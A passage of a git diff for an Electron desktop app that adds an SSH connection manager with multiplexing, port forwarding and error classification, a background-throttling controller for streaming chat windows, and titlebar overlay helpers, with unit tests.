+    ...hostArgs(conn),
+    '--',
+    target(conn.user, conn.host)
+  ]
+}
+
+// Interactive `ssh -tt` for the INTERIM remote terminal (SSH mode only). Reuses
+// the existing ControlMaster socket so NO new auth handshake happens — the
+// master is already open, so this attaches instantly and never prompts.
+//
+// NOTE(remote-terminal): interim until the dashboard /api/terminal WebSocket
+// lands (specs/desktop-remote-terminal.md); delete this path then.
+function buildInteractiveSshArgs(conn, remoteCwd, connectTimeoutMs?, remoteCommand?) {
+  const args = [
+    '-tt',
+    ...baseSshOptions(conn.controlPath, connectTimeoutMs),
+    ...hostArgs(conn),
+    '--',
+    target(conn.user, conn.host)
+  ]
+
+  if (remoteCommand) {
+    args.push(remoteCommand)
+
+    return args
+  }
+
+  const cwd = String(remoteCwd || '').trim()
+
+  if (cwd) {
+    const q = `'${cwd.replace(/'/g, `'\\''`)}'`
+    args.push(`cd ${q} 2>/dev/null; exec "$SHELL" -l`)
+  } else {
+    args.push('exec "$SHELL" -l')
+  }
+
+  return args
+}
+
+// Bind the local end to 127.0.0.1 ONLY — never 0.0.0.0 — so the tunnel does not
+// re-expose the remote dashboard to the client's LAN.
+function forwardSpec(localPort, remotePort, remoteHost = '127.0.0.1') {
+  return `127.0.0.1:${localPort}:${remoteHost}:${remotePort}`
+}
+
+// Error classification — distinct, actionable messages for the UI
+
+const SSH_ERROR = {
+  UNREACHABLE: 'unreachable',
+  AUTH_FAILED: 'auth-failed',
+  HOST_KEY_CHANGED: 'host-key-changed',
+  TIMEOUT: 'timeout',
+  UNKNOWN: 'unknown'
+}
+
+// Order matters: the host-key-change banner also contains "WARNING"/"Offending",
+// so check it before generic auth.
+function classifySshError(stderr) {
+  const text = String(stderr || '')
+
+  if (
+    /REMOTE HOST IDENTIFICATION HAS CHANGED|Host key verification failed|Offending (?:key|ECDSA|RSA|ED25519)/i.test(
+      text
+    )
+  ) {
+    return SSH_ERROR.HOST_KEY_CHANGED
+  }
+
+  if (
+    /Permission denied|Too many authentication failures|no matching host key|publickey|password|keyboard-interactive/i.test(
+      text
+    )
+  ) {
+    return SSH_ERROR.AUTH_FAILED
+  }
+
+  if (
+    /Could not resolve hostname|Connection refused|Connection timed out|No route to host|Network is unreachable|Operation timed out|port \d+: Connection/i.test(
+      text
+    )
+  ) {
+    return SSH_ERROR.UNREACHABLE
+  }
+
+  return SSH_ERROR.UNKNOWN
+}
+
+function sshErrorMessage(kind, conn, stderr?) {
+  const host = target(conn.user, conn.host)
+
+  switch (kind) {
+    case SSH_ERROR.HOST_KEY_CHANGED:
+      return (
+        `The host key for ${host} has CHANGED since you last connected. ` +
+        `This could be a man-in-the-middle attack, or the server was reinstalled. ` +
+        `SSH refused to connect. Verify the change is expected, then remove the old key ` +
+        `with \`ssh-keygen -R ${conn.host}\` and reconnect.\n\n${String(stderr || '').trim()}`
+      )
+
+    case SSH_ERROR.AUTH_FAILED:
+      return (
+        `SSH authentication to ${host} failed. Desktop runs ssh non-interactively ` +
+        `(BatchMode), so a key requiring a passphrase or 2FA must be loaded into your ` +
+        `ssh-agent first (e.g. \`ssh-add ~/.ssh/id_ed25519\`), or set an IdentityFile in ` +
+        `~/.ssh/config. Original error: ${String(stderr || '').trim()}`
+      )
+
+    case SSH_ERROR.UNREACHABLE:
+      return `Could not reach ${host} over SSH. Check the host, port, and your network. Original error: ${String(stderr || '').trim()}`
+
+    case SSH_ERROR.TIMEOUT:
+      return `SSH operation to ${host} timed out. The connection may be half-open (e.g. after sleep); reconnecting.`
+
+    default:
+      return `SSH error connecting to ${host}: ${String(stderr || '').trim() || 'unknown failure'}`
+  }
+}
+
+// Spawn helper — runs an ssh invocation, races it against a hard timeout
+
+// Resolves { code, stdout, stderr }. On timeout the child is SIGKILLed and the
+// promise rejects with err.kind = TIMEOUT. `spawnFn` is injectable for tests.
+function runSsh(args, { timeoutMs, spawnFn = spawn, stdin = 'ignore', stdinData }: any = {}) {
+  return new Promise((resolve, reject) => {
+    const useStdinPipe = stdinData != null || stdin !== 'ignore'
+    let child
+
+    try {
+      child = spawnFn('ssh', args, { stdio: [useStdinPipe ? 'pipe' : 'ignore', 'pipe', 'pipe'] })
+    } catch (error) {
+      reject(error)
+
+      return
+    }
+
+    if (stdinData != null && child.stdin) {
+      child.stdin.end(stdinData)
+    }
+
+    let stdout = ''
+    let stderr = ''
+    let settled = false
+
+    const timer = setTimeout(() => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+
+      try {
+        child.kill('SIGKILL')
+      } catch {
+        // already gone
+      }
+
+      const err: any = new Error(`ssh timed out after ${timeoutMs}ms`)
+      err.kind = SSH_ERROR.TIMEOUT
+      reject(err)
+    }, timeoutMs)
+
+    child.stdout?.on('data', d => {
+      stdout += d.toString()
+    })
+    child.stderr?.on('data', d => {
+      stderr += d.toString()
+    })
+    child.on('error', error => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      clearTimeout(timer)
+      reject(error)
+    })
+    child.on('close', code => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      clearTimeout(timer)
+      resolve({ code, stdout, stderr })
+    })
+  })
+}
+
+function stopTunnelChild(child, timeoutMs = 5_000) {
+  if (!child || child.exitCode != null || child.signalCode != null) {
+    return Promise.resolve()
+  }
+
+  return new Promise<void>((resolve, reject) => {
+    let settled = false
+
+    const finish = (error?: unknown) => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      clearTimeout(timer)
+      child.off?.('exit', onExit)
+      child.off?.('error', onError)
+      error ? reject(error) : resolve()
+    }
+
+    const onExit = () => finish()
+    const onError = error => finish(error)
+    const timer = setTimeout(() => finish(new Error('SSH tunnel did not exit after termination.')), timeoutMs)
+    child.once('exit', onExit)
+    child.once('error', onError)
+
+    try {
+      if (!child.kill()) {
+        finish(new Error('SSH tunnel termination was refused.'))
+      }
+    } catch (error) {
+      finish(error)
+    }
+  })
+}
+
+// SshConnection — the public manager
+
+class SshConnection {
+  host: string
+  user: string
+  port: number
+  keyPath: string
+  controlPath: string
+  _spawnFn: any
+  _log: (msg: string) => void
+  _connectTimeoutMs: number
+  _execTimeoutMs: number
+  _forwardTimeoutMs: number
+  _opened: boolean
+  _mux: boolean
+  _tunnels: Map<string, any>
+
+  constructor(cfg, opts: any = {}) {
+    if (!cfg || !cfg.host) {
+      throw new Error('SshConnection requires a host.')
+    }
+
+    const port = cfg.port ? Number(cfg.port) : 22
+    validateSshTarget(cfg.host, cfg.user || '', port)
+
+    if (cfg.keyPath) {
+      validateKeyPath(cfg.keyPath)
+    }
+
+    this.host = cfg.host
+    this.user = cfg.user || ''
+    this.port = port
+    this.keyPath = cfg.keyPath || ''
+    // Windows OpenSSH has no ControlMaster (mux sockets were never implemented
+    // on Win32) — fall back to one ssh invocation per operation and a
+    // persistent `ssh -N -L` child per tunnel. Empty controlPath routes the
+    // pure builders onto their no-mux form.
+    this._mux = opts.mux ?? process.platform !== 'win32'
+    this.controlPath = this._mux
+      ? controlSocketPath(this.user, this.host, this.port, opts.controlDir, {
+          keyPath: this.keyPath,
+          ownershipId: opts.ownershipId,
+          scope: opts.scope,
+          effectiveConfigFingerprint: opts.effectiveConfigFingerprint
+        })
+      : ''
+    this._tunnels = new Map()
+
+    this._spawnFn = opts.spawnFn || spawn
+
+    this._log = typeof opts.rememberLog === 'function' ? opts.rememberLog : () => {}
+    this._connectTimeoutMs = opts.connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS
+    this._execTimeoutMs = opts.execTimeoutMs ?? DEFAULT_EXEC_TIMEOUT_MS
+    this._forwardTimeoutMs = opts.forwardTimeoutMs ?? DEFAULT_FORWARD_TIMEOUT_MS
+    this._opened = false
+  }
+
+  // Lifecycle logging — ALWAYS through redaction.
+  _logLine(msg) {
+    this._log(redactSecrets(`[ssh] ${msg}`))
+  }
+
+  _fail(stderrOrErr, fallbackKind = SSH_ERROR.UNKNOWN) {
+    if (stderrOrErr && stderrOrErr.kind === SSH_ERROR.TIMEOUT) {
+      const err: any = new Error(sshErrorMessage(SSH_ERROR.TIMEOUT, this))
+      err.kind = SSH_ERROR.TIMEOUT
+
+      return err
+    }
+
+    const stderr = typeof stderrOrErr === 'string' ? stderrOrErr : stderrOrErr?.message || ''
+    const kind = stderr ? classifySshError(stderr) : fallbackKind
+    const err: any = new Error(sshErrorMessage(kind, this, stderr))
+    err.kind = kind
+
+    return err
+  }
+
+  // Open the connection. Mux: start the persistent ControlMaster (idempotent —
+  // a live master is a no-op). No-mux: there is no master; validate auth +
+  // reachability with a one-shot `ssh true` so failures classify identically.
+  async open() {
+    if (await this.isAlive()) {
+      // -O check passing is not proof the master works: a ControlPersist master
+      // can survive a failed teardown with wedged channels (observed on macOS
+      // after a mode switch — check succeeds, every exec times out). Verify with
+      // a real exec before trusting it; on failure, evict and dial fresh.
+      if (!this._mux || (await this._verifyMuxChannel())) {
+        this._opened = true
+
+        return
+      }
+
+      this._logLine('existing control master failed exec verification; evicting stale master')
+      await this._evictStaleMaster()
+    }
+
+    if (!this._mux) {
+      this._logLine(`connecting (no-mux) to ${target(this.user, this.host)}:${this.port}`)
+      let result
+
+      try {
+        result = await runSsh(buildExecArgs(this, 'exit 0', this._connectTimeoutMs), {
+          timeoutMs: this._connectTimeoutMs,
+          spawnFn: this._spawnFn
+        })
+      } catch (error) {
+        throw this._fail(error, SSH_ERROR.UNREACHABLE)
+      }
+
+      if (result.code !== 0) {
+        throw this._fail(result.stderr, SSH_ERROR.UNREACHABLE)
+      }
+
+      this._opened = true
+      this._logLine('connection verified (no-mux; per-operation ssh)')
+
+      return
+    }
+
+    const controlDir = path.dirname(this.controlPath)
+
+    try {
+      fs.mkdirSync(controlDir, { recursive: true, mode: 0o700 })
+    } catch {
+      void 0
+    }
+
+    if (process.platform !== 'win32') {
+      const st = fs.lstatSync(controlDir)
+
+      if (st.isSymbolicLink()) {
+        throw new Error(`Unsafe SSH control dir: ${controlDir} is a symlink.`)
+      }
+
+      if (!st.isDirectory()) {
+        throw new Error(`Unsafe SSH control dir: ${controlDir} is not a directory.`)
+      }
+
+      if (st.uid !== process.getuid!()) {
+        throw new Error(`Unsafe SSH control dir: ${controlDir} is owned by uid ${st.uid}, not ${process.getuid!()}.`)
+      }
+
+      if ((st.mode & 0o777) !== 0o700) {
+        fs.chmodSync(controlDir, 0o700)
+      }
+    }
+
+    const args = buildMasterArgs(this, this._connectTimeoutMs)
+    this._logLine(`opening control master to ${target(this.user, this.host)}:${this.port}`)
+    let result
+
+    try {
+      result = await runSsh(args, { timeoutMs: this._connectTimeoutMs, spawnFn: this._spawnFn })
+    } catch (error) {
+      throw this._fail(error, SSH_ERROR.UNREACHABLE)
+    }
+
+    if (result.code !== 0) {
+      throw this._fail(result.stderr, SSH_ERROR.UNREACHABLE)
+    }
+
+    this._opened = true
+    this._logLine('control master established')
+  }
+
+  // Liveness. Mux: `-O check` against the master socket. No-mux: a cheap
+  // one-shot exec — "alive" means "we can still authenticate and run".
+  async isAlive() {
+    if ([...this._tunnels.values()].some(tunnel => tunnel.alive === false)) {
+      return false
+    }
+
+    const args = this._mux
+      ? buildControlArgs(this, 'check', [], this._connectTimeoutMs)
+      : buildExecArgs(this, 'exit 0', this._connectTimeoutMs)
+
+    try {
+      const result: any = await runSsh(args, { timeoutMs: this._connectTimeoutMs, spawnFn: this._spawnFn })
+
+      return result.code === 0
+    } catch {
+      return false
+    }
+  }
+
+  // A real exec through the master (`exit 0` works under POSIX shells and
+  // cmd.exe); a wedged mux hangs to the timeout.
+  async _verifyMuxChannel() {
+    try {
+      const result: any = await runSsh(buildExecArgs(this, 'exit 0', this._connectTimeoutMs), {
+        timeoutMs: this._connectTimeoutMs,
+        spawnFn: this._spawnFn
+      })
+
+      return result.code === 0
+    } catch {
+      return false
+    }
+  }
+
+  // -O exit (best-effort) then drop the socket so ControlMaster=auto cannot
+  // re-attach to the corpse. (The orphaned master process is left to
+  // ControlPersist; a wedged channel can pin it, but without its socket it is
+  // inert.)
+  async _evictStaleMaster() {
+    try {
+      await runSsh(buildControlArgs(this, 'exit', [], this._connectTimeoutMs), {
+        timeoutMs: this._connectTimeoutMs,
+        spawnFn: this._spawnFn
+      })
+    } catch {
+      void 0
+    }
+
+    try {
+      fs.unlinkSync(this.controlPath)
+    } catch (error: any) {
+      if (error?.code !== 'ENOENT') {
+        this._logLine(`could not remove stale control socket (${error.code}); a fresh master may not dial`)
+      }
+    }
+  }
+
+  // One-shot remote command over the control connection. Resolves stdout;
+  // rejects with a classified error on non-zero exit or timeout.
+  async exec(remoteCommand, { timeoutMs, stdinData }: any = {}) {
+    const args = buildExecArgs(this, remoteCommand, this._connectTimeoutMs)
+    let result
+
+    try {
+      result = await runSsh(args, {
+        timeoutMs: timeoutMs ?? this._execTimeoutMs,
+        spawnFn: this._spawnFn,
+        ...(stdinData != null ? { stdinData } : {})
+      })
+    } catch (error) {
+      throw this._fail(error)
+    }
+
+    if (result.code !== 0) {
+      throw this._fail(result.stderr)
+    }
+
+    return result.stdout
+  }
+
+  // Establish a local→remote forward. Mux: `-O forward` against the master.
+  // No-mux: spawn a persistent `ssh -N -L` child that IS the tunnel; ready when
+  // the local port accepts. The child dying = tunnel down (isAlive of the
+  // backend catches it upstream).
+  async forward(localPort, remotePort, remoteHost = '127.0.0.1') {
+    const spec = forwardSpec(localPort, remotePort, remoteHost)
+    this._logLine(`forwarding 127.0.0.1:${localPort} -> ${remoteHost}:${remotePort}`)
+
+    if (!this._mux) {
+      const args = [
+        ...baseSshOptions('', this._connectTimeoutMs),
+        ...hostArgs(this),
+        '-v',
+        '-N',
+        '-L',
+        spec,
+        '--',
+        target(this.user, this.host)
+      ]
+
+      const child = this._spawnFn('ssh', args, { stdio: ['ignore', 'ignore', 'pipe'] })
+      const tunnel = { child, alive: true }
+      this._tunnels.set(spec, tunnel)
+      let stderr = ''
+      let readyConfirmed = false
+      let readyResolve
+      let readyReject
+
+      const ready = new Promise<void>((resolve, reject) => {
+        readyResolve = resolve
+        readyReject = reject
+      })
+
+      const readyPattern = new RegExp(`Local forwarding listening on .* port ${localPort}\\b`)
+      child.stderr?.on('data', d => {
+        if (readyConfirmed) {
+          return
+        }
+
+        stderr = `${stderr}${String(d)}`.slice(-16_384)
+
+        if (readyPattern.test(stderr)) {
+          readyConfirmed = true
+          readyResolve()
+        }
+      })
+      child.on('error', error => {
+        tunnel.alive = false
+        readyReject(error)
+      })
+      child.on('exit', code => {
+        tunnel.alive = false
+        readyReject(new Error(`tunnel process exited with code ${code}`))
+      })
+      child.on('close', code => {
+        tunnel.alive = false
+        readyReject(new Error(`tunnel process closed with code ${code}`))
+      })
+      let readyTimeout
+
+      try {
+        await Promise.race([
+          ready,
+          new Promise((_, reject) => {
+            readyTimeout = setTimeout(
+              () => reject(new Error('tunnel did not confirm local forwarding')),
+              this._forwardTimeoutMs
+            )
+          })
+        ])
+      } catch (error: any) {
+        try {
+          await stopTunnelChild(child)
+          this._tunnels.delete(spec)
+        } catch (stopError) {
+          throw this._fail(stopError, SSH_ERROR.UNKNOWN)
+        }
+
+        throw this._fail(stderr || error, SSH_ERROR.UNKNOWN)
+      } finally {
+        clearTimeout(readyTimeout)
+      }
+
+      return
+    }
+
+    const args = buildControlArgs(this, 'forward', ['-L', spec], this._connectTimeoutMs)
+    let result
+
+    try {
+      result = await runSsh(args, { timeoutMs: this._forwardTimeoutMs, spawnFn: this._spawnFn })
+    } catch (error) {
+      throw this._fail(error)
+    }
+
+    if (result.code !== 0) {
+      throw this._fail(result.stderr)
+    }
+  }
+
+  // Cancel a previously-established forward. Best-effort: a failure here is
+  // logged but not thrown (close tears everything down anyway).
+  async cancelForward(localPort, remotePort, remoteHost = '127.0.0.1') {
+    const spec = forwardSpec(localPort, remotePort, remoteHost)
+
+    if (!this._mux) {
+      const tunnel = this._tunnels.get(spec)
+
+      if (tunnel) {
+        await stopTunnelChild(tunnel.child)
+        this._tunnels.delete(spec)
+        this._logLine(`cancelled forward 127.0.0.1:${localPort}`)
+      }
+
+      return
+    }
+
+    const args = buildControlArgs(this, 'cancel', ['-L', spec], this._connectTimeoutMs)
+
+    try {
+      await runSsh(args, { timeoutMs: this._forwardTimeoutMs, spawnFn: this._spawnFn })
+      this._logLine(`cancelled forward 127.0.0.1:${localPort}`)
+    } catch (error: any) {
+      this._logLine(`cancelForward failed (ignored): ${error.message}`)
+    }
+  }
+
+  // Tear down. Mux: exit the master (drops every forward with it). No-mux:
+  // kill the tunnel children. Best-effort; never throws.
+  async close() {
+    if (!this._opened) {
+      return
+    }
+
+    if (!this._mux) {
+      for (const [spec, tunnel] of this._tunnels) {
+        await stopTunnelChild(tunnel.child)
+        this._tunnels.delete(spec)
+      }
+
+      this._opened = false
+      this._logLine('connection closed (no-mux tunnels killed)')
+
+      return
+    }
+
+    const args = buildControlArgs(this, 'exit', [], this._connectTimeoutMs)
+
+    try {
+      const result: any = await runSsh(args, { timeoutMs: this._connectTimeoutMs, spawnFn: this._spawnFn })
+
+      if (result.code !== 0) {
+        throw this._fail(result.stderr)
+      }
+
+      this._logLine('control master closed')
+    } catch (error: any) {
+      // A master that refuses -O exit is the wedge that poisons re-attach;
+      // disown it. (Without its socket the orphan is inert; ControlPersist may
+      // not reap it if a wedged channel never idles.)
+      this._logLine(`close failed; removing control socket: ${error.message}`)
+
+      try {
+        fs.unlinkSync(this.controlPath)
+      } catch {
+        void 0
+      }
+    }
+
+    this._opened = false
+  }
+}
+
+// Free local port for the tunnel's local end. Bind 127.0.0.1:0, read the
+// kernel-assigned port, release. The benign TOCTOU window (release → forward
+// grabs it) is caught upstream and retried with a fresh port.
+
+function pickLocalPort() {
+  return new Promise((resolve, reject) => {
+    const server = net.createServer()
+    server.unref()
+    server.on('error', reject)
+    server.listen(0, '127.0.0.1', () => {
+      const { port } = server.address() as net.AddressInfo
+      server.close(() => resolve(port))
+    })
+  })
+}
+
+function createSshProbeConnection(config, options: any = {}) {
+  return new SshConnection(config, { ...options, mux: false })
+}
+
+export {
+  baseSshOptions,
+  buildControlArgs,
+  buildExecArgs,
+  buildInteractiveSshArgs,
+  buildMasterArgs,
+  classifySshError,
+  CONTROL_PERSIST_SECONDS,
+  controlSocketPath,
+  createSshProbeConnection,
+  DEFAULT_CONNECT_TIMEOUT_MS,
+  DEFAULT_EXEC_TIMEOUT_MS,
+  DEFAULT_FORWARD_TIMEOUT_MS,
+  forwardSpec,
+  hostArgs,
+  pickLocalPort,
+  redactSecrets,
+  runSsh,
+  SSH_ERROR,
+  SshConnection,
+  sshErrorMessage,
+  stopTunnelChild,
+  target,
+  validateKeyPath,
+  validateSshTarget
+}
diff --git a/ui-desktop/electron/stream-throttle.test.ts b/ui-desktop/electron/stream-throttle.test.ts
new file mode 100644
index 000000000..fc41bcf16
--- /dev/null
+++ b/ui-desktop/electron/stream-throttle.test.ts
@@ -0,0 +1,152 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { createStreamThrottle, type ThrottleWindowLike } from './stream-throttle'
+
+function makeTimers() {
+  const pending = new Map<number, () => void>()
+  let nextId = 1
+
+  return {
+    clearTimeout: (handle: unknown) => {
+      pending.delete(handle as number)
+    },
+    fire() {
+      const jobs = [...pending.values()]
+      pending.clear()
+
+      for (const job of jobs) {
+        job()
+      }
+    },
+    get pendingCount() {
+      return pending.size
+    },
+    setTimeout: (fn: () => void, _ms: number) => {
+      const id = nextId++
+      pending.set(id, fn)
+
+      return id
+    }
+  }
+}
+
+function makeWindow() {
+  const calls: boolean[] = []
+  const listeners = new Map<string, () => void>()
+  let destroyed = false
+
+  const win = {
+    calls,
+    close() {
+      destroyed = true
+      listeners.get('closed')?.()
+    },
+    isDestroyed: () => destroyed,
+    on(event: string, fn: () => void) {
+      listeners.set(event, fn)
+    },
+    webContents: {
+      isDestroyed: () => destroyed,
+      setBackgroundThrottling(allowed: boolean) {
+        calls.push(allowed)
+      }
+    }
+  }
+
+  return win
+}
+
+test('registering a window applies the current throttle state immediately', () => {
+  const timers = makeTimers()
+  const throttle = createStreamThrottle(timers)
+  const idle = makeWindow()
+  throttle.register(idle)
+
+  // Idle default: throttling allowed.
+  assert.deepEqual(idle.calls, [true])
+
+  throttle.update(true)
+  const late = makeWindow()
+  throttle.register(late)
+
+  // A window created mid-stream starts unthrottled.
+  assert.deepEqual(late.calls, [false])
+})
+
+test('a turn in flight unthrottles every chat window; settling re-throttles after the trailing delay', () => {
+  const timers = makeTimers()
+  const throttle = createStreamThrottle(timers)
+  const win = makeWindow()
+  throttle.register(win)
+
+  throttle.update(true)
+  assert.deepEqual(win.calls, [true, false])
+  assert.equal(throttle.isUnthrottled(), true)
+
+  // Turn ends: not re-throttled synchronously — the tail flush needs full
+  // cadence — only after the trailing timer fires.
+  throttle.update(false)
+  assert.deepEqual(win.calls, [true, false])
+  assert.equal(throttle.isUnthrottled(), true)
+
+  timers.fire()
+  assert.deepEqual(win.calls, [true, false, true])
+  assert.equal(throttle.isUnthrottled(), false)
+})
+
+test('a new turn during the trailing window cancels the pending re-throttle', () => {
+  const timers = makeTimers()
+  const throttle = createStreamThrottle(timers)
+  const win = makeWindow()
+  throttle.register(win)
+
+  throttle.update(true)
+  throttle.update(false)
+  assert.equal(timers.pendingCount, 1)
+
+  // Busy again before the delay elapses: stay unthrottled, timer cancelled.
+  throttle.update(true)
+  assert.equal(timers.pendingCount, 0)
+  assert.equal(throttle.isUnthrottled(), true)
+
+  // The cancelled timer firing late must be a no-op.
+  timers.fire()
+  assert.equal(throttle.isUnthrottled(), true)
+})
+
+test('repeated busy reports do not re-apply or stack timers', () => {
+  const timers = makeTimers()
+  const throttle = createStreamThrottle(timers)
+  const win = makeWindow()
+  throttle.register(win)
+
+  throttle.update(true)
+  throttle.update(true)
+  throttle.update(true)
+  assert.deepEqual(win.calls, [true, false])
+
+  throttle.update(false)
+  throttle.update(false)
+  assert.equal(timers.pendingCount, 1)
+})
+
+test('closed and destroyed windows drop out without throwing', () => {
+  const timers = makeTimers()
+  const throttle = createStreamThrottle(timers)
+  const closedWin = makeWindow()
+  throttle.register(closedWin)
+  closedWin.close()
+
+  const gone: ThrottleWindowLike & { on?: never } = {
+    isDestroyed: () => true,
+    webContents: null
+  }
+
+  throttle.register(gone)
+
+  throttle.update(true)
+  // Only the registration-time call landed; nothing after close.
+  assert.deepEqual(closedWin.calls, [true])
+})
diff --git a/ui-desktop/electron/stream-throttle.ts b/ui-desktop/electron/stream-throttle.ts
new file mode 100644
index 000000000..7c1092adb
--- /dev/null
+++ b/ui-desktop/electron/stream-throttle.ts
@@ -0,0 +1,119 @@
+// Stream-aware background throttling for chat windows.
+//
+// Chat windows must paint the live transcript while blurred, occluded, or
+// minimized — but a static `backgroundThrottling: false` in webPreferences
+// costs far more than that feature needs: it pins the renderer's
+// `document.visibilityState` to 'visible' for the life of the window, which
+// turns every visibility-gated poll and clock tick in the renderer into an
+// always-on timer. An idle, hidden ClawCodex burned ~20% CPU forever.
+//
+// So throttling is a runtime dial instead: the renderers already report
+// "which chats are mid-turn" for the quit guard (`clawcodex:active-work`), and
+// this controller rides the merged edge of those reports. Any turn in flight →
+// every registered chat window gets `setBackgroundThrottling(false)`, exactly
+// the streaming behavior the static flag used to provide. All turns done →
+// after a short trailing delay (so tail flushes land at full cadence) Chromium's
+// default throttling returns and hidden windows go quiet.
+//
+// Pure and Electron-free (timers + the WebContents surface are injected) so it
+// can be unit-tested, mirroring session-windows.ts.
+
+/** How long after the last turn ends before throttling is restored. Covers the
+ * stream queue's final coalesced flush and the settle writes that trail a
+ * turn's completion, so re-throttling never strands a visible delta. */
+const RETHROTTLE_DELAY_MS = 5_000
+
+export interface ThrottleWindowLike {
+  isDestroyed(): boolean
+  webContents?: {
+    isDestroyed(): boolean
+    setBackgroundThrottling(allowed: boolean): void
+  } | null
+}
+
+interface TimersLike {
+  clearTimeout(handle: unknown): void
+  setTimeout(fn: () => void, ms: number): unknown
+}
+
+export interface StreamThrottle {
+  /** True while windows are currently unthrottled (streaming or trailing). */
+  isUnthrottled(): boolean
+  /** Track a chat window; applies the current state immediately and stops
+   * tracking on close. */
+  register(win: ThrottleWindowLike & { on?: (event: string, fn: () => void) => void }): void
+  /** Report whether any turn is in flight across all renderers. */
+  update(busy: boolean): void
+}
+
+export function createStreamThrottle(
+  timers: TimersLike = { clearTimeout: handle => clearTimeout(handle as never), setTimeout },
+  delayMs: number = RETHROTTLE_DELAY_MS
+): StreamThrottle {
+  const windows = new Set<ThrottleWindowLike>()
+  let unthrottled = false
+  let trailing: unknown = null
+
+  function apply(win: ThrottleWindowLike) {
+    if (win.isDestroyed()) {
+      windows.delete(win)
+
+      return
+    }
+
+    const contents = win.webContents
+
+    if (!contents || contents.isDestroyed()) {
+      return
+    }
+
+    try {
+      contents.setBackgroundThrottling(!unthrottled)
+    } catch {
+      // A window mid-teardown can throw; it's about to leave the set anyway.
+    }
+  }
+
+  function applyAll() {
+    for (const win of windows) {
+      apply(win)
+    }
+  }
+
+  return {
+    isUnthrottled: () => unthrottled,
+
+    register(win) {
+      windows.add(win)
+      win.on?.('closed', () => windows.delete(win))
+      apply(win)
+    },
+
+    update(busy) {
+      if (busy) {
+        if (trailing !== null) {
+          timers.clearTimeout(trailing)
+          trailing = null
+        }
+
+        if (!unthrottled) {
+          unthrottled = true
+          applyAll()
+        }
+
+        return
+      }
+
+      if (!unthrottled || trailing !== null) {
+        return
+      }
+
+      // Trailing edge: keep full cadence briefly so the final flush paints.
+      trailing = timers.setTimeout(() => {
+        trailing = null
+        unthrottled = false
+        applyAll()
+      }, delayMs)
+    }
+  }
+}
diff --git a/ui-desktop/electron/titlebar-overlay-width.test.ts b/ui-desktop/electron/titlebar-overlay-width.test.ts
new file mode 100644
index 000000000..0e424fd5c
--- /dev/null
+++ b/ui-desktop/electron/titlebar-overlay-width.test.ts
@@ -0,0 +1,55 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  MACOS_TAHOE_DARWIN_MAJOR,
+  macTitleBarOverlayHeight,
+  nativeOverlayWidth,
+  OVERLAY_FALLBACK_WIDTH
+} from './titlebar-overlay-width'
+
+// This static reservation is only the pre-layout FALLBACK. Once laid out the
+// renderer reads the exact width from navigator.windowControlsOverlay
+// (use-window-controls-overlay-width.ts) and uses these values only when the WCO
+// API is unavailable.
+
+test('Windows reserves the overlay fallback width', () => {
+  assert.equal(nativeOverlayWidth({ isWindows: true }), OVERLAY_FALLBACK_WIDTH)
+})
+
+test('WSLg paints the same WCO, so it reserves the same fallback width', () => {
+  // The original bug: WSL fell through to 0, so the right tools sat under the
+  // controls and the title overran into them.
+  assert.equal(nativeOverlayWidth({ isWsl: true }), OVERLAY_FALLBACK_WIDTH)
+})
+
+test('plain Linux paints the WCO too, so it reserves the fallback width', () => {
+  // Regression #53185: re-enabling the overlay on plain Linux (KDE/GNOME)
+  // without reserving its width left the native min/max/close buttons painting
+  // on top of the app's right-edge titlebar tools.
+  assert.equal(nativeOverlayWidth({ isWindows: false, isWsl: false }), OVERLAY_FALLBACK_WIDTH)
+  assert.equal(nativeOverlayWidth(), OVERLAY_FALLBACK_WIDTH)
+  assert.equal(nativeOverlayWidth({}), OVERLAY_FALLBACK_WIDTH)
+})
+
+test('macOS uses traffic lights, not a WCO overlay, so it reserves nothing', () => {
+  assert.equal(nativeOverlayWidth({ isMac: true }), 0)
+})
+
+test('the fallback width is a sane positive pixel value', () => {
+  assert.ok(Number.isInteger(OVERLAY_FALLBACK_WIDTH) && OVERLAY_FALLBACK_WIDTH > 0)
+})
+
+test('pre-Tahoe keeps the full titlebar overlay height', () => {
+  assert.equal(macTitleBarOverlayHeight({ darwinMajor: MACOS_TAHOE_DARWIN_MAJOR - 1, titlebarHeight: 34 }), 34)
+})
+
+test('Tahoe (Darwin 25+) drops the overlay height to 0 to avoid electron#49183', () => {
+  assert.equal(macTitleBarOverlayHeight({ darwinMajor: MACOS_TAHOE_DARWIN_MAJOR, titlebarHeight: 34 }), 0)
+  assert.equal(macTitleBarOverlayHeight({ darwinMajor: MACOS_TAHOE_DARWIN_MAJOR + 1, titlebarHeight: 34 }), 0)
+})
+
+test('macTitleBarOverlayHeight tolerates missing args (unknown platform → 0)', () => {
+  assert.equal(macTitleBarOverlayHeight(), 0)
+})
diff --git a/ui-desktop/electron/titlebar-overlay-width.ts b/ui-desktop/electron/titlebar-overlay-width.ts
new file mode 100644
index 000000000..d6a4c5d1f
--- /dev/null
+++ b/ui-desktop/electron/titlebar-overlay-width.ts
@@ -0,0 +1,42 @@
+export const OVERLAY_FALLBACK_WIDTH = 144
+
+/**
+ * Static pre-layout reservation (px) for the right-side native window-controls
+ * overlay (min/max/close). Only a FALLBACK — once laid out the renderer reads
+ * the exact width from navigator.windowControlsOverlay
+ * (use-window-controls-overlay-width.ts) and uses this value only when the WCO
+ * API is unavailable.
+ *
+ * macOS uses traffic lights positioned via trafficLightPosition, not a WCO
+ * overlay, so it reserves nothing here. Every other desktop platform now paints
+ * the Electron overlay (Windows, WSLg, and plain Linux KDE/GNOME), so they all
+ * reserve the fallback width — the split is simply mac vs. not.
+ *
+ * @param {{ isMac?: boolean }} opts
+ */
+export function nativeOverlayWidth({ isWindows = false, isWsl = false, isMac = false } = {}) {
+  if (isMac) {
+    return 0
+  }
+
+  return OVERLAY_FALLBACK_WIDTH
+}
+
+// macOS Tahoe ships as Darwin 25 (Sequoia is 24); the Darwin number is truthful,
+// unlike the product version which macOS reports as 16 or 26 depending on the
+// build SDK.
+export const MACOS_TAHOE_DARWIN_MAJOR = 25
+
+/**
+ * Height (px) to pass to `titleBarOverlay` on macOS. Tahoe (Darwin 25+)
+ * miscalculates the native traffic-light position when the overlay carries a
